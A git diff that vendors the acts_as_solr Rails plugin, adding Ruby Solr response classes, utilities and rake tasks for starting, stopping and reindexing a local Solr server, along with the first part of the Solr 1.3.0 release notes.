a/vendor/plugins/acts_as_solr/lib/solr/response/spellcheck.rb b/vendor/plugins/acts_as_solr/lib/solr/response/spellcheck.rb new file mode 100644 index 00000000..a4842c58 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/response/spellcheck.rb @@ -0,0 +1,20 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Response::Spellcheck < Solr::Response::Ruby + attr_reader :suggestions + + def initialize(ruby_code) + super + @suggestions = @data['suggestions'] + end +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/response/standard.rb b/vendor/plugins/acts_as_solr/lib/solr/response/standard.rb new file mode 100644 index 00000000..2e59fe9b --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/response/standard.rb @@ -0,0 +1,60 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Response::Standard < Solr::Response::Ruby + FacetValue = Struct.new(:name, :value) + include Enumerable + + def initialize(ruby_code) + super + @response = @data['response'] + raise "response section missing" unless @response.kind_of? Hash + end + + def total_hits + @response['numFound'] + end + + def start + @response['start'] + end + + def hits + @response['docs'] + end + + def max_score + @response['maxScore'] + end + + # TODO: consider the use of json.nl parameter + def field_facets(field) + facets = [] + values = @data['facet_counts']['facet_fields'][field] + Solr::Util.paired_array_each(values) do |key, value| + facets << FacetValue.new(key, value) + end + + facets + end + + def highlighted(id, field) + @data['highlighting'][id.to_s][field.to_s] rescue nil + end + + # supports enumeration of hits + # TODO revisit - should this iterate through *all* hits by re-requesting more? + def each + @response['docs'].each {|hit| yield hit} + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/response/xml.rb b/vendor/plugins/acts_as_solr/lib/solr/response/xml.rb new file mode 100644 index 00000000..f48de5d0 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/response/xml.rb @@ -0,0 +1,42 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +require 'rexml/document' +require 'solr/exception' + +class Solr::Response::Xml < Solr::Response::Base + attr_reader :doc, :status_code, :status_message + + def initialize(xml) + super + # parse the xml + @doc = REXML::Document.new(xml) + + # look for the result code and string + # + # + # 02 + # + result = REXML::XPath.first(@doc, './response/lst[@name="responseHeader"]/int[@name="status"]') + if result + @status_code = result.text + @status_message = result.text # TODO: any need for a message? + end + rescue REXML::ParseException => e + raise Solr::Exception.new("invalid response xml: #{e}") + end + + def ok? + return @status_code == '0' + end + +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/solrtasks.rb b/vendor/plugins/acts_as_solr/lib/solr/solrtasks.rb new file mode 100644 index 00000000..3a1f76a5 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/solrtasks.rb @@ -0,0 +1,27 @@ +#!/usr/bin/env ruby +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# TODO: fill out Solr tasks: start, stop, ping, optimize, etc. + +require 'rake' +require 'rake/tasklib' + +module Solr + namespace :solr do + desc "Start Solr" + task :start do + # TODO: actually start it up! + puts "Starting..." + end + end +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/util.rb b/vendor/plugins/acts_as_solr/lib/solr/util.rb new file mode 100644 index 00000000..bb134eee --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/util.rb @@ -0,0 +1,32 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +class Solr::Util + # paired_array_each([key1,value1,key2,value2]) yields twice: + # |key1,value1| and |key2,value2| + def self.paired_array_each(a, &block) + 0.upto(a.size / 2 - 1) do |i| + n = i * 2 + yield(a[n], a[n+1]) + end + end + + # paired_array_to_hash([key1,value1,key2,value2]) => {key1 => value1, key2, value2} + def self.paired_array_to_hash(a) + Hash[*a] + end + + def self.query_parser_escape(string) + # backslash prefix everything that isn't a word character + string.gsub(/(\W)/,'\\\\\1') + end +end diff --git a/vendor/plugins/acts_as_solr/lib/solr/xml.rb b/vendor/plugins/acts_as_solr/lib/solr/xml.rb new file mode 100644 index 00000000..d4492250 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr/xml.rb @@ -0,0 +1,44 @@ +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +module Solr::XML +end + +begin + + # If we can load rubygems and libxml-ruby... + require 'rubygems' + require 'xml/libxml' + raise "acts_as_solr requires libxml-ruby 0.7 or greater" unless XML::Node.public_instance_methods.include?("attributes") + + # then make a few modifications to XML::Node so it can stand in for REXML::Element + class XML::Node + # element.add_element(another_element) should work + alias_method :add_element, :<< + + + # element.text = "blah" should work + def text=(x) + self << x.to_s + end + end + + # And use XML::Node for our XML generation + Solr::XML::Element = XML::Node + +rescue LoadError => e # If we can't load either rubygems or libxml-ruby + puts "Requiring REXML" + # Just use REXML. + require 'rexml/document' + Solr::XML::Element = REXML::Element + +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/solr_fixtures.rb b/vendor/plugins/acts_as_solr/lib/solr_fixtures.rb new file mode 100644 index 00000000..c16781eb --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/solr_fixtures.rb @@ -0,0 +1,13 @@ +module ActsAsSolr + + class SolrFixtures + def self.load(table_names) + [table_names].flatten.map { |n| n.to_s }.each do |table_name| + klass = instance_eval(File.split(table_name.to_s).last.to_s.gsub('_',' ').split(" ").collect{|w| w.capitalize}.to_s.singularize) + klass.rebuild_solr_index if klass.respond_to?(:rebuild_solr_index) + end + ActsAsSolr::Post.execute(Solr::Request::Commit.new) + end + end + +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/tasks/database.rake b/vendor/plugins/acts_as_solr/lib/tasks/database.rake new file mode 100644 index 00000000..c02dd3b6 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/tasks/database.rake @@ -0,0 +1,18 @@ +require File.dirname(__FILE__) + '/../solr_fixtures' + +namespace :db do + namespace :fixtures do + desc "Load fixtures into the current environment's database. Load specific fixtures using FIXTURES=x,y" + task :load => :environment do + begin + ActsAsSolr::Post.execute(Solr::Request::Delete.new(:query => "*:*")) + ActsAsSolr::Post.execute(Solr::Request::Commit.new) + (ENV['FIXTURES'] ? ENV['FIXTURES'].split(/,/) : Dir.glob(File.join(RAILS_ROOT, 'test', 'fixtures', '*.{yml,csv}'))).each do |fixture_file| + ActsAsSolr::SolrFixtures.load(File.basename(fixture_file, '.*')) + end + puts "The fixtures loaded have been added to Solr" + rescue + end + end + end +end \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/lib/tasks/solr.rake b/vendor/plugins/acts_as_solr/lib/tasks/solr.rake new file mode 100644 index 00000000..f9f529d1 --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/tasks/solr.rake @@ -0,0 +1,157 @@ +require 'rubygems' +require 'rake' +require 'net/http' +require 'active_record' + +namespace :solr do + + desc 'Starts Solr. Options accepted: RAILS_ENV=your_env, PORT=XX. Defaults to development if none.' + task :start do + require "#{File.dirname(__FILE__)}/../../config/solr_environment.rb" + begin + n = Net::HTTP.new('localhost', SOLR_PORT) + n.request_head('/').value + + rescue Net::HTTPServerException #responding + puts "Port #{SOLR_PORT} in use" and return + + rescue Errno::ECONNREFUSED #not responding + Dir.chdir(SOLR_PATH) do + pid = fork do + #STDERR.close + exec "java #{SOLR_JVM_OPTIONS} -Dsolr.data.dir=#{SOLR_DATA_PATH} -Djetty.logs=#{SOLR_LOGS_PATH} -Djetty.port=#{SOLR_PORT} -jar start.jar" + end + sleep(5) + File.open("#{SOLR_PIDS_PATH}/#{ENV['RAILS_ENV']}_pid", "w"){ |f| f << pid} + puts "#{ENV['RAILS_ENV']} Solr started successfully on #{SOLR_PORT}, pid: #{pid}." + end + end + end + + desc 'Starts Solr. on windows. Options accepted: RAILS_ENV=your_env, PORT=XX. Defaults to development if none.' + task :startwin do + require "#{File.dirname(__FILE__)}/../../config/solr_environment.rb" + begin + puts "Starting SOLR in the #{RAILS_ENV} environment on port #{SOLR_PORT}" + n = Net::HTTP.new('localhost', SOLR_PORT) + n.request_head('/').value + + rescue Net::HTTPServerException #responding + puts "Port #{SOLR_PORT} in use" and return + + rescue Errno::ECONNREFUSED #not responding + Dir.chdir(SOLR_PATH) do + exec "java -Dsolr.data.dir=solr/data/#{ENV['RAILS_ENV']} -Djetty.port=#{SOLR_PORT} -jar start.jar" + sleep(5) + puts "#{ENV['RAILS_ENV']} Solr started sucessfuly on #{SOLR_PORT}, pid: #{pid}." + end + end + end + + desc 'Stops Solr. Specify the environment by using: RAILS_ENV=your_env. Defaults to development if none.' + task :stop do + require "#{File.dirname(__FILE__)}/../../config/solr_environment.rb" + fork do + file_path = "#{SOLR_PIDS_PATH}/#{ENV['RAILS_ENV']}_pid" + if File.exists?(file_path) + File.open(file_path, "r") do |f| + pid = f.readline + Process.kill('TERM', pid.to_i) + end + File.unlink(file_path) + Rake::Task["solr:destroy_index"].invoke if ENV['RAILS_ENV'] == 'test' + puts "Solr shutdown successfully." + else + puts "PID file not found at #{file_path}. Either Solr is not running or no PID file was written." + end + end + end + + desc 'Remove Solr index' + task :destroy_index do + require "#{File.dirname(__FILE__)}/../../config/solr_environment.rb" + raise "In production mode. I'm not going to delete the index, sorry." if ENV['RAILS_ENV'] == "production" + if File.exists?("#{SOLR_DATA_PATH}") + Dir["#{SOLR_DATA_PATH}/index/*"].each{|f| File.unlink(f)} + Dir.rmdir("#{SOLR_DATA_PATH}/index") + puts "Index files removed under " + ENV['RAILS_ENV'] + " environment" + end + end + + # this task is by Henrik Nyh + # http://henrik.nyh.se/2007/06/rake-task-to-reindex-models-for-acts_as_solr + desc %{Reindexes data for all acts_as_solr models. Clears index first to get rid of orphaned records and optimizes index afterwards. RAILS_ENV=your_env to set environment. ONLY=book,person,magazine to only reindex those models; EXCEPT=book,magazine to exclude those models. START_SERVER=true to solr:start before and solr:stop after. BATCH=123 to post/commit in batches of that size: default is 300. CLEAR=false to not clear the index first; OPTIMIZE=false to not optimize the index afterwards.} + task :reindex => :environment do + require "#{File.dirname(__FILE__)}/../../config/solr_environment.rb" + + includes = env_array_to_constants('ONLY') + if includes.empty? + includes = Dir.glob("#{RAILS_ROOT}/app/models/*.rb").map { |path| File.basename(path, ".rb").camelize.constantize } + end + excludes = env_array_to_constants('EXCEPT') + includes -= excludes + + optimize = env_to_bool('OPTIMIZE', true) + start_server = env_to_bool('START_SERVER', false) + clear_first = env_to_bool('CLEAR', true) + batch_size = ENV['BATCH'].to_i.nonzero? || 300 + debug_output = env_to_bool("DEBUG", false) + + RAILS_DEFAULT_LOGGER.level = ActiveSupport::BufferedLogger::INFO unless debug_output + + if start_server + puts "Starting Solr server..." + Rake::Task["solr:start"].invoke + end + + # Disable solr_optimize + module ActsAsSolr::CommonMethods + def blank() end + alias_method :deferred_solr_optimize, :solr_optimize + alias_method :solr_optimize, :blank + end + + models = includes.select { |m| m.respond_to?(:rebuild_solr_index) } + models.each do |model| + + if clear_first + puts "Clearing index for #{model}..." + ActsAsSolr::Post.execute(Solr::Request::Delete.new(:query => "#{model.solr_configuration[:type_field]}:#{model}")) + ActsAsSolr::Post.execute(Solr::Request::Commit.new) + end + + puts "Rebuilding index for #{model}..." + model.rebuild_solr_index(batch_size) + + end + + if models.empty? + puts "There were no models to reindex." + elsif optimize + puts "Optimizing..." + models.last.deferred_solr_optimize + end + + if start_server + puts "Shutting down Solr server..." + Rake::Task["solr:stop"].invoke + end + + end + + def env_array_to_constants(env) + env = ENV[env] || '' + env.split(/\s*,\s*/).map { |m| m.singularize.camelize.constantize }.uniq + end + + def env_to_bool(env, default) + env = ENV[env] || '' + case env + when /^true$/i then true + when /^false$/i then false + else default + end + end + +end + diff --git a/vendor/plugins/acts_as_solr/lib/tasks/test.rake b/vendor/plugins/acts_as_solr/lib/tasks/test.rake new file mode 100644 index 00000000..6bb6cafb --- /dev/null +++ b/vendor/plugins/acts_as_solr/lib/tasks/test.rake @@ -0,0 +1,7 @@ +require 'active_record' + +namespace :test do + task :migrate do + ActiveRecord::Migrator.migrate("test/db/migrate/", ENV["VERSION"] ? ENV["VERSION"].to_i : nil) + end +end diff --git a/vendor/plugins/acts_as_solr/solr/CHANGES.txt b/vendor/plugins/acts_as_solr/solr/CHANGES.txt new file mode 100644 index 00000000..1f9f6038 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/CHANGES.txt @@ -0,0 +1,1207 @@ + Apache Solr Version 1.3.0 + Release Notes + +Introduction +------------ +Apache Solr is an open source enterprise search server based on the Lucene Java +search library, with XML/HTTP and JSON APIs, hit highlighting, faceted search, +caching, replication, and a web administration interface. It runs in a Java +servlet container such as Tomcat. + +See http://lucene.apache.org/solr for more information. + + +Getting Started +--------------- +You need a Java 1.5 VM or later installed. +In this release, there is an example Solr server including a bundled +servlet container in the directory named "example". +See the tutorial at http://lucene.apache.org/solr/tutorial.html + + +$Id: CHANGES.txt 694377 2008-09-11 17:40:11Z klaas $ + +================== Release 1.3.0 ================== + + +Upgrading from Solr 1.2 +----------------------- +IMPORTANT UPGRADE NOTE: In a master/slave configuration, all searchers/slaves +should be upgraded before the master! If the master were to be updated +first, the older searchers would not be able to read the new index format. + +The Porter snowball based stemmers in Lucene were updated (LUCENE-1142), +and are not guaranteed to be backward compatible at the index level +(the stem of certain words may have changed). Re-indexing is recommended. + +Older Apache Solr installations can be upgraded by replacing +the relevant war file with the new version. No changes to configuration +files should be needed. + +This version of Solr contains a new version of Lucene implementing +an updated index format. This version of Solr/Lucene can still read +and update indexes in the older formats, and will convert them to the new +format on the first index change. Be sure to backup your index before +upgrading in case you need to downgrade. + +Solr now recognizes HTTP Request headers related to HTTP Caching (see +RFC 2616 sec13) and will by default respond with "304 Not Modified" +when appropriate. This should only affect users who access Solr via +an HTTP Cache, or via a Web-browser that has an internal cache, but if +you wish to suppress this behavior an '' +option can be added to your solrconfig.xml. See the wiki (or the +example solrconfig.xml) for more details... + http://wiki.apache.org/solr/SolrConfigXml#HTTPCaching + +In Solr 1.2, DateField did not enforce the canonical representation of +the ISO 8601 format when parsing incoming data, and did not generation +the canonical format when generating dates from "Date Math" strings +(particularly as it pertains to milliseconds ending in trailing zeros) +-- As a result equivalent dates could not always be compared properly. +This problem is corrected in Solr 1.3, but DateField users that might +have been affected by indexing inconsistent formats of equivilent +dates (ie: 1995-12-31T23:59:59Z vs 1995-12-31T23:59:59.000Z) may want +to consider reindexing to correct these inconsistencies. Users who +depend on some of the the "broken" behavior of DateField in Solr 1.2 +(specificly: accepting any input that ends in a 'Z') should consider +using the LegacyDateField class as a possible alternative. Users that +desire 100% backwards compatibility should consider using the Solr 1.2 +version of DateField. + +Due to some changes in the lifecycle of TokenFilterFactories, users of +Solr 1.2 who have written Java code which constructs new instances of +StopFilterFactory, SynonymFilterFactory, or EnglishProterFilterFactory +will need to modify their code by adding a line like the following +prior to using the factory object... + factory.inform(SolrCore.getSolrCore().getSolrConfig().getResourceLoader()); +These lifecycle changes do not affect people who use Solr "out of the +box" or who have developed their own TokenFilterFactory plugins. More +info can be found in SOLR-594. + +The python client that used to ship with Solr is no longer included in +the distribution (see client/python/README.txt). + +Detailed Change List +-------------------- + +New Features + 1. SOLR-69: Adding MoreLikeThisHandler to search for similar documents using + lucene contrib/queries MoreLikeThis. MoreLikeThis is also available from + the StandardRequestHandler using ?mlt=true. (bdelacretaz, ryan) + + 2. SOLR-253: Adding KeepWordFilter and KeepWordFilterFactory. A TokenFilter + that keeps tokens with text in the registered keeplist. This behaves like + the inverse of StopFilter. (ryan) + + 3. SOLR-257: WordDelimiterFilter has a new parameter splitOnCaseChange, + which can be set to 0 to disable splitting "PowerShot" => "Power" "Shot". + (klaas) + + 4. SOLR-193: Adding SolrDocument and SolrInputDocument to represent documents + outside of the lucene Document infrastructure. This class will be used + by clients and for processing documents. (ryan) + + 5. SOLR-244: Added ModifiableSolrParams - a SolrParams implementation that + help you change values after initialization. (ryan) + + 6. SOLR-20: Added a java client interface with two implementations. One + implementation uses commons httpclient to connect to solr via HTTP. The + other connects to solr directly. Check client/java/solrj. This addition + also includes tests that start jetty and test a connection using the full + HTTP request cycle. (Darren Erik Vengroff, Will Johnson, ryan) + + 7. SOLR-133: Added StaxUpdateRequestHandler that uses StAX for XML parsing. + This implementation has much better error checking and lets you configure + a custom UpdateRequestProcessor that can selectively process update + requests depending on the request attributes. This class will likely + replace XmlUpdateRequestHandler. (Thorsten Scherler, ryan) + + 8. SOLR-264: Added RandomSortField, a utility field with a random sort order. + The seed is based on a hash of the field name, so a dynamic field + of this type is useful for generating different random sequences. + This field type should only be used for sorting or as a value source + in a FunctionQuery (ryan, hossman, yonik) + + 9. SOLR-266: Adding show=schema to LukeRequestHandler to show the parsed + schema fields and field types. (ryan) + +10. SOLR-133: The UpdateRequestHandler now accepts multiple delete options + within a single request. For example, sending: + 12 will delete both 1 and 2. (ryan) + +11. SOLR-269: Added UpdateRequestProcessor plugin framework. This provides + a reasonable place to process documents after they are parsed and + before they are committed to the index. This is a good place for custom + document manipulation or document based authorization. (yonik, ryan) + +12. SOLR-260: Converting to a standard PluginLoader framework. This reworks + RequestHandlers, FieldTypes, and QueryResponseWriters to share the same + base code for loading and initializing plugins. This adds a new + configuration option to define the default RequestHandler and + QueryResponseWriter in XML using default="true". (ryan) + +13. SOLR-225: Enable pluggable highlighting classes. Allow configurable + highlighting formatters and Fragmenters. (ryan) + +14. SOLR-273/376/452/516: Added hl.maxAnalyzedChars highlighting parameter, defaulting + to 50k, hl.alternateField, which allows the specification of a backup + field to use as summary if no keywords are matched, and hl.mergeContiguous, + which combines fragments if they are adjacent in the source document. + (klaas, Grant Ingersoll, Koji Sekiguchi via klaas) + +15. SOLR-291: Control maximum number of documents to cache for any entry + in the queryResultCache via queryResultMaxDocsCached solrconfig.xml + entry. (Koji Sekiguchi via yonik) + +16. SOLR-240: New configuration setting in and + blocks supports all Lucene builtin LockFactories. + 'single' is recommended setting, but 'simple' is default for total + backwards compatibility. + (Will Johnson via hossman) + +17. SOLR-248: Added CapitalizationFilterFactory that creates tokens with + normalized capitalization. This filter is useful for facet display, + but will not work with a prefix query. (ryan) + SOLR-468: Change to the semantics to keep the original token, not the token in the Map. Also switched to + use Lucene's new reusable token capabilities. (gsingers) + +18. SOLR-307: Added NGramFilterFactory and EdgeNGramFilterFactory. + (Thomas Peuss via Otis Gospodnetic) + +19. SOLR-305: analysis.jsp can be given a fieldtype instead of a field + name. (hossman) + +20. SOLR-102: Added RegexFragmenter, which splits text for highlighting + based on a given pattern. (klaas) + +21. SOLR-258: Date Faceting added to SimpleFacets. Facet counts + computed for ranges of size facet.date.gap (a DateMath expression) + between facet.date.start and facet.date.end. (hossman) + +22. SOLR-196: A PHP serialized "phps" response writer that returns a + serialized array that can be used with the PHP function unserialize, + and a PHP response writer "php" that may be used by eval. + (Nick Jenkin, Paul Borgermans, Pieter Berkel via yonik) + +23. SOLR-308: A new UUIDField class which accepts UUID string values, + as well as the special value of "NEW" which triggers generation of + a new random UUID. + (Thomas Peuss via hossman) + +24. SOLR-349: New FunctionQuery functions: sum, product, div, pow, log, + sqrt, abs, scale, map. Constants may now be used as a value source. + (yonik) + +25. SOLR-359: Add field type className to Luke response, and enabled access + to the detailed field information from the solrj client API. + (Grant Ingersoll via ehatcher) + +26. SOLR-334: Pluggable query parsers. Allows specification of query + type and arguments as a prefix on a query string. (yonik) + +27. SOLR-351: External Value Source. An external file may be used + to specify the values of a field, currently usable as + a ValueSource in a FunctionQuery. (yonik) + +28. SOLR-395: Many new features for the spell checker implementation, including + an extended response mode with much richer output, multi-word spell checking, + and a bevy of new and renamed options (see the wiki). + (Mike Krimerman, Scott Taber via klaas). + +29. SOLR-408: Added PingRequestHandler and deprecated SolrCore.getPingQueryRequest(). + Ping requests should be configured using standard RequestHandler syntax in + solrconfig.xml rather then using the syntax. + (Karsten Sperling via ryan) + +30. SOLR-281: Added a 'Search Component' interface and converted StandardRequestHandler + and DisMaxRequestHandler to use this framework. + (Sharad Agarwal, Henri Biestro, yonik, ryan) + +31. SOLR-176: Add detailed timing data to query response output. The SearchHandler + interface now returns how long each section takes. (klaas) + +32. SOLR-414: Plugin initialization now supports SolrCore and ResourceLoader "Aware" + plugins. Plugins that implement SolrCoreAware or ResourceLoaderAware are + informed about the SolrCore/ResourceLoader. (Henri Biestro, ryan) + +33. SOLR-350: Support multiple SolrCores running in the same solr instance and allows + runtime runtime management for any running SolrCore. If a solr.xml file exists + in solr.home, this file is used to instanciate multiple cores and enables runtime + core manipulation. For more informaion see: http://wiki.apache.org/solr/CoreAdmin + (Henri Biestro, ryan) + +34. SOLR-447: Added an single request handler that will automatically register all + standard admin request handlers. This replaces the need to register (and maintain) + the set of admin request handlers. Assuming solrconfig.xml includes: + + This will register: Luke/SystemInfo/PluginInfo/ThreadDump/PropertiesRequestHandler. + (ryan) + +35. SOLR-142: Added RawResponseWriter and ShowFileRequestHandler. This returns config + files directly. If AdminHandlers are configured, this will be added automatically. + The jsp files /admin/get-file.jsp and /admin/raw-schema.jsp have been deprecated. + The deprecated will be automatically registered with + a ShowFileRequestHandler instance for backwards compatibility. (ryan) + +36. SOLR-446: TextResponseWriter can write SolrDocuments and SolrDocumentLists the + same way it writes Document and DocList. (yonik, ryan) + +37. SOLR-418: Adding a query elevation component. This is an optional component to + elevate some documents to the top positions (or exclude them) for a given query. + (ryan) + +38. SOLR-478: Added ability to get back unique key information from the LukeRequestHandler. (gsingers) + +39. SOLR-127: HTTP Caching awareness. Solr now recognizes HTTP Request + headers related to HTTP Caching (see RFC 2616 sec13) and will respond + with "304 Not Modified" when appropriate. New options have been added + to solrconfig.xml to influence this behavior. + (Thomas Peuss via hossman) + +40. SOLR-303: Distributed Search over HTTP. Specification of shards + argument causes Solr to query those shards and merge the results + into a single response. Querying, field faceting (sorted only), + query faceting, highlighting, and debug information are supported + in distributed mode. + (Sharad Agarwal, Patrick O'Leary, Sabyasachi Dalal, Stu Hood, + Jayson Minard, Lars Kotthoff, ryan, yonik) + +41. SOLR-356: Pluggable functions (value sources) that allow + registration of new functions via solrconfig.xml + (Doug Daniels via yonik) + +42. SOLR-494: Added cool admin Ajaxed schema explorer. + (Greg Ludington via ehatcher) + +43. SOLR-497: Added date faceting to the QueryResponse in SolrJ + and QueryResponseTest (Shalin Shekhar Mangar via gsingers) + +44. SOLR-486: Binary response format, faster and smaller + than XML and JSON response formats (use wt=javabin). + BinaryResponseParser for utilizing the binary format via SolrJ + and is now the default. + (Noble Paul, yonik) + +45. SOLR-521: StopFilterFactory support for "enablePositionIncrements" + (Walter Ferrara via hossman) + +46. SOLR-557: Added SolrCore.getSearchComponents() to return an unmodifiable Map. (gsingers) + +47. SOLR-516: Added hl.maxAlternateFieldLength parameter, to set max length for hl.alternateField + (Koji Sekiguchi via klaas) + +48. SOLR-319: Changed SynonymFilterFactory to "tokenize" synonyms file. + To use a tokenizer, specify "tokenizerFactory" attribute in . + For example: + + + (koji) + +49. SOLR-515: Added SimilarityFactory capability to schema.xml, + making config file parameters usable in the construction of + the global Lucene Similarity implementation. + (ehatcher) + +50. SOLR-536: Add a DocumentObjectBinder to solrj that converts Objects to and + from SolrDocuments. (Noble Paul via ryan) + +51. SOLR-595: Add support for Field level boosting in the MoreLikeThis Handler. (Tom Morton, gsingers) + +52. SOLR-572: Added SpellCheckComponent and org.apache.solr.spelling package to support more spell checking functionality. + Also includes ability to add your own SolrSpellChecker implementation that plugs in. + See http://wiki.apache.org/solr/SpellCheckComponent for more details + (Shalin Shekhar Mangar, Bojan Smid, gsingers) +53. SOLR-679: Added accessor methods to Lucene based spell checkers (gsingers) + +54. SOLR-423: Added Request Handler close hook notification so that RequestHandlers can be notified when a core is closing. (gsingers, ryan) + +55. SOLR-603: Added ability to partially optimize. (gsingers) + +56. SOLR-483: Add byte/short sorting support (gsingers) + +57. SOLR-14: Add preserveOriginal flag to WordDelimiterFilter + (Geoffrey Young, Trey Hyde, Ankur Madnani, yonik) + +58. SOLR-502: Add search timeout support. (Sean Timm via yonik) + +59. SOLR-605: Add the ability to register callbacks programatically (ryan, Noble Paul) + +60. SOLR-610: hl.maxAnalyzedChars can be -1 to highlight everything (Lars Kotthoff via klaas) + +61. SOLR-522: Make analysis.jsp show payloads. (Tricia Williams via yonik) + +62. SOLR-611: Expose sort_values returned by QueryComponent in SolrJ's QueryResponse (Dan Rosher via shalin) + +63. SOLR-256: Support exposing Solr statistics through JMX (Sharad Agrawal, shalin) + +64. SOLR-666: Expose warmup time in statistics for SolrIndexSearcher and LRUCache (shalin) + +65. SOLR-663: Allow multiple files for stopwords, keepwords, protwords and synonyms (Otis Gospodnetic, shalin) + +66. SOLR-469: Added DataImportHandler as a contrib project which makes indexing data from Databases, XML files and HTTP + data sources into Solr quick and easy. Includes API and implementations for supporting multiple + data sources, processors and transformers for importing data. Supports full data imports as well as + incremental (delta) indexing. See http://wiki.apache.org/solr/DataImportHandler for more details. + (Noble Paul, shalin) + +67. SOLR-622: SpellCheckComponent supports auto-loading indices on startup and optionally, (re)builds indices + on newSearcher event, if configured in solrconfig.xml + (shalin) + +68. SOLR-554: Hierarchical JDK log level selector for SOLR Admin replaces logging.jsp (Sean Timm via shalin) + +69. SOLR-506: Emitting HTTP Cache headers can be enabled or disabled through configuration + on a per-handler basis (shalin) + +70. SOLR-716: Added support for properties in configuration files. Properties can be specified in solr.xml + and can be used in solrconfig.xml and schema.xml + (Henri Biestro, hossman, ryan, shalin) + +Changes in runtime behavior + 1. SOLR-559: use Lucene updateDocument, deleteDocuments methods. This + removes the maxBufferedDeletes parameter added by SOLR-310 as Lucene + now manages the deletes. This provides slightly better indexing + performance and makes overwrites atomic, eliminating the possibility of + a crash causing duplicates. (yonik) + + 2. SOLR-689 / SOLR-695: If you have used "MultiCore" functionality in an unreleased + version of 1.3-dev, many classes and configs have been renamed for the official + 1.3 release. Speciffically, solr.xml has replaced multicore.xml, and uses a slightly + different syntax. The solrj classes: MultiCore{Request/Response/Params} have been + renamed: CoreAdmin{Request/Response/Params} (hossman, ryan, Henri Biestro) + + 3. SOLR-647: reference count the SolrCore uses to prevent a premature + close while a core is still in use. (Henri Biestro, Noble Paul, yonik) + + 4. SOLR-737: SolrQueryParser now uses a ConstantScoreQuery for wildcard + queries that prevent an exception from being thrown when the number + of matching terms exceeds the BooleanQuery clause limit. (yonik) + +Optimizations + 1. SOLR-276: improve JSON writer speed. (yonik) + + 2. SOLR-310: bound and reduce memory usage by providing parameter, + which flushes deleted without forcing the user to use for this purpose. + (klaas) + + 3. SOLR-348: short-circuit faceting if less than mincount docs match. (yonik) + + 4. SOLR-354: Optimize removing all documents. Now when a delete by query + of *:* is issued, the current index is removed. (yonik) + + 5. SOLR-377: Speed up response writers. (yonik) + + 6. SOLR-342: Added support into the SolrIndexWriter for using several new + features of the new LuceneIndexWriter, including: setRAMBufferSizeMB(), setMergePolicy(), setMergeScheduler. Also, added support + to specify Lucene's autoCommit functionality (not to be confused with Solr's similarily named autoCommit functionality) via + the config. item. See the test and example solrconfig.xml section for usage. Performance during + indexing should be significantly increased by moving up to 2.3 due to Lucene's new indexing capabilities. Furthermore, + the setRAMBufferSizeMB makes it more logical to decide on tuning factors related to indexing. For best performance, leave the + mergePolicy and mergeScheduler as the defaults and set ramBufferSizeMB instead of maxBufferedDocs. The best value for this + depends on the types of documents in use. 32 should be a good starting point, but reports have shown up to 48 MB provides + good results. Note, it is acceptable to set both ramBufferSizeMB and maxBufferedDocs, and Lucene will flush based on whichever + limit is reached first. (gsingers) + + 7. SOLR-330: Converted TokenStreams to use Lucene's new char array based + capabilities. (gsingers) + + 8. SOLR-624: Only take snapshots if there are differences to the index (Richard Trey Hyde via gsingers) + + 9. SOLR-587: Delete 